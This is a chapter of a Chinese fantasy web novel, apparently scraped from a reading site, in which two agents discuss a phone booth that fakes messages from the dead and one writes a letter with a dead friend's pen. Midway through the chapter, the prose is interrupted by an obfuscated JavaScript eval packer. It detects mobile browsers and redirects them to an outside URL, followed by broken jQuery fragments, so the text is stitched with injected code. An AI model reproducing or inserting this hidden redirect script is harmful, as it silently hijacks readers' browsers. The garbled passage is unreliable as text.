默认冷灰
24号文字
方正启体

21. 书笔

作者:澜焕本书字数:K更新时间:
    游叶醒来的时候,首先感到两侧亮度不一致。她侧过头,原来光线强度较大的那方开了一盏暖光悬浮灯,九春正在那片光下看出。


    柔和光线下,他侧脸俊美非常,线条精雕细琢,还是那张最符合游叶审美标准的脸。一醒来就看见好看的东西,实在让她心情愉悦,游叶不由得多欣赏了片刻。


    于是九春一注意她醒来,看见的就是一张笑眯眯的脸。他一眼就看出她眼神意味,哼了一声:“看什么看。醒了就起来。”


    游叶笑而不答。她继续盯着看了一会儿,知道九春被盯到脸慢慢红起来,转过头去,她才撑起身体爬起来,“现在几点了?”


    九春报了个下午的时段。他说:“君山和连湛都想见你。他们对净化异种的过程有很多想问的。”


    “那川汜呢?他有说什么吗?”


    “他没说什么。”意思就是他们提交的说明没问题。


    “行吧。好学总比没兴趣好。虽然我没有做老师的爱好。”


    游叶伸了个懒腰,上半身各处关节发出被延展的脆响,九春把书放下,说:“他们都在楼下休息。”


    虽然注射了药物,不过电话亭那种精神污染也真是够人受的。游叶和九春这样睡一觉能恢复完全的,基本会被放在怪物行列。


    两个人坐电梯下楼,客厅沙发上,他们的两个队友对坐,神色不怎么好。比起精神污染的疲惫,更像陷入心事的沉重。


    两人坐到中央的长沙发组上,连湛先抬头看向他们,苍白的面色上是黛青的眼圈,他露出勉强的微笑,“下午好。你的状态还好吗?”


    游叶当然说自己没什么问题。此时,君山突兀地开口:“那个电话亭的留言,都是假的,只是我们想听到的声音。”


    “是这样吗?”她视线直直撞向游叶,声音里带着自己都没意识到的迫切和焦躁。神情是故作平静而端着的,但不自然地僵硬着,像即将开裂的面具。


    游叶没有立即回答。她垂下眼睛,斟酌着说:“这是一种情况。”


    “那另一种——”


    “是接收者怀疑可能真实说出过的话。”


    游叶说:“举例来说,如果一个人认为过世的爱人其实一直恨着自己,那这个人可能会收到一条‘我恨你’的留言,即使实际上也许未必如此。”


    “电话亭的运作原理,是主要根据接受留言人的记忆和感情,参考世界上留存的留言人的情报来虚构一条留言。主观成分大于客观。”她继续解释。


    连湛迟疑着问:“那就是说,留言本身不一定是真的?”


    “只能说不能百分百确保真实性。或者换一个说法,你相信,那就是真的。”


    停顿一下,游叶又开玩笑般用轻松的语气说:“虽然很唯心主义啦。”


    她端详那两人神色,知道自己的说法没有完全说服他们——不过,尽管她不知道他们听到的留言是什么,但这种心事,都是只有自己才能解决的。


    她也没有给他们解决的义务。只是出于同行工作的责任心来解释一下净化异种的原理,至于其他部分,她管不了。


    至于其他推理过程,她在说明里都写了,等到川汜润色好交给公会,公会审核完再发表出去,他们可以自己看。君山和连湛也正是清楚这点,才没有问更多别的问题。


    九春说:“不要想太多了。”


    三个人都看向他。不太习惯成为注意中心的人轻咳一声,说:“不管是真是假,那都已经是过去的事情了。再去追究也没有太大意义。”


    换句话说就是看开点,要是总背着过去的重担,前行将会困难无比。他再清楚不过了。


    游叶没说话。她和这两人还不算太熟悉,贸然出声只会显得不尊重。她大部分赞同九春的说法,只有一点需要指出。


    如果这段过去将会影响未来,那她无论如何都要把它解决干净。


    出身于大家族,君山和连湛想必也有很多苦衷和不能言说的故事。游叶九春都无意深入探寻,找了个借口,两个人回到了三楼。


    “你要不要吃点什么?”九春询问她。


    他这样一提醒,她还真有点饥饿感来了。但之前逗弄他那么多,现在再提新要求总觉得有点过意不去,因此,游叶答:“我点个外卖吧。你要不要吃?”


    然而,九春眉毛一皱,他说:“哦,行吧。”声音里是显而易见的不满。


    等等。他这是在不高兴什么。但很快游叶就想通了,她有点无奈,又有点想笑,宽容地想:没办法,他就是这个性格,哄着点就好了。


    “我改主意了。”游叶说,“厨房里有什么?”


    她指的是三楼自带的小厨房。九春陈述了一遍食材,仿佛他真的只是在报名字。


    “那炒个饭好了。”游叶扯着他往厨房走,“你会做吧?”


    “要、要是你真的那么想吃的话,我炒一个也不是不行。”九春跟在她后面,嘴角弧度差点没压住。


    “想想想。超级想的。”游叶随口回答他。其实她吃什么都行,不怎么挑。


    结果九春又不高兴了,“等下,不要敷衍我!你到底想吃什么?”


    糟糕,一不小心没顺好毛。游叶考虑三秒,计上心头,她一转头,满面笑容地看他。


    她语调上扬:“想吃你。这个点单可以吗?”


    九春一卡,恼羞成怒,“你不要胡说八道!”


    “怎么是胡说八道!”游叶音调比他更高,她佯装吃惊,“我可是真心想吃的!”


    九春瞪了她片刻,是那种以为自己很凶,实则如同猫咪嗲毛一般毫无攻击力的瞪法。更何况,半晌之后他就先一步败下阵来,嘟哝:“炒饭就炒饭……我去做还不行吗!”


    “特别好特别好。我去给你打下手。”游叶迅速抓住机会顺毛。她摸摸他小臂,贴过去,九春发出一个鼻音,总算表情明朗起来。


    吃过饭,两人又窝到九春房间里打游戏。九春和她打比赛,在赛车游戏上输得惨烈,但在音游上扳回一局。


    游戏暂告一段,九春忽然想到一个问题,“对了,你在电话亭里听到的留言是什么?”


    他随口一问,游叶也随口回答:“一个已经故去很久的人叫了我的名字。”


    九春思考几秒,发出恍然大悟的声音:“是你七岁以前的事吗?”


    游叶点头。九春说:“怪不得你一下就找到思路了。”


    “是啊,也算一种运气吧。”游叶说,“你这里有笔和纸吗,我写封信。”


    九春去书桌那边翻找片刻。“标准规格的信纸这里没有,横线纸行吗?”


    “行。没事,规格不重要,不要太随便就行。”游叶下床,九春把钢笔和几张纸摆在桌上。


    “你要写给谁?”


    “扬帆镇的亚利苏牧师。我还欠瓦里希娅那孩子一个解释,毕竟某种程度上,我夺走了她的‘母亲’。”


    游叶耸耸肩,语气平淡。做异种处理专员时不时就会碰到这样的问题。你要把人们从美梦中打醒,告诉他们这有害,这往往不会得到人们的感激。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539574|202774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    再怎么说,瓦里希娅也算是这件事的重要人物,她有知情权。尽管游叶不清楚一个小孩子究竟能理解到什么程度,但她会尽量告诉她一切。


    她走过去,看见那支钢笔,游叶愣了一下。她走过去,两指捏住那支笔,放近眼前。没有错。笔杆上的名字,并不是——


    “那个是闻莺家人送我的成年礼祝礼。”九春抱着双臂,站在一边解释,“根据亚利苏教的传统,每个孩子在成人礼的时候应该得到一份特别的礼物。”


    但这解释不了为什么这支写着闻莺名字的笔在他这里。游叶凝视着他,九春继续说:“他家里人说,尘封在盒子里也是浪费,我是他最重视的朋友,希望这份祝福可以延续到我身上。”


    他的声音平静如水,其下却是至今未散的悲伤与怀念。他知道,游叶和他是同样的心情。


    寄托着生者的思念与祈祷,联结着死者与现世的因缘。这份礼物很重。游叶默然地端详那支深绿色的钢笔,恍惚间看到那个人如同森林般的深色头发。


    她慎重地吸了墨水,铺好信纸,开始写字。轻柔的“唰唰”声中,九春忽然说:“我前几天去了他的墓地。”


    游叶默然点了下头。九春说:“你真的不需要我帮你献一束花?”


    游叶抬起眼睛,凝视前方虚空。她很慢很慢地说:“不用了。”


    九春咽下自己的疑惑。游叶和闻莺的关系并非不好——甚至不能说只是一般同学,他们曾经也是同出同入【彼界】的战友,相互之间很欣赏彼此的脾性。


    但她从来没有去祭奠过他。一次都没有。不是没时间——忙起来他们难分上下——但的确从来没有。九春不是第一次提出帮她也献上一束花,但她每次都拒绝了。


    他曾想过是因为过于伤怀,不愿面对那座小小墓碑。但游叶比他更不会沉溺于伤感,他尚且没有消沉那么久,她当然也不会。


    那她始终没有出现在那里的原因究竟是什么?


    九春忍了又忍,终于还是没忍住:“你还在因为没能及时赶到见他最后一面愧疚吗?说真的,他不会在意这个的——”


    “……不是。”游叶深深吐出一口气。


    “还是说,你觉得自己应该对他的逝去责任?”九春换了个方向,“但即使当初你能赶回来,也不可能救得了他。”


    我们谁都没办法。他把这句苦涩风干的话压在舌头底下。即使穷尽了无垠公司的医疗资源,也没能把闻莺从死神的手中夺回来。


    这句话落地很久,游叶终于转过身来。她语气比他想象得冷静许多:“我知道。所以我没有这种想法。我不是圣人,不会想把什么都背在自己身上。”


    最后一句话里带着轻微的责备。九春哑口,刚刚他的猜想都是他曾经的真实心境,游叶正是清楚这一点才会这样说。


    “不要想太多了,九春。”她转回去,继续写字,“我会去祭奠他的。总有一天。”


    只是,现在还没到那一天。


    九春清楚地感知到,那背后必定藏着一个理由。只是游叶没有选择告诉他。


    他不再去想。他早已确定过自己的心意:即使游叶缄口不言,她也必定有自己的理由。而不论如何他都会选择相信她。


    她有事瞒着他。但不告诉他一定有她的考量,而他信任她的思虑。谁都有秘密,没有全盘托出并不代表她不信任他。即使他不理解其中深意,他还是会相信她。


    因为自始至终,游叶永远都是那个不会抛弃他、不会背叛他的人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)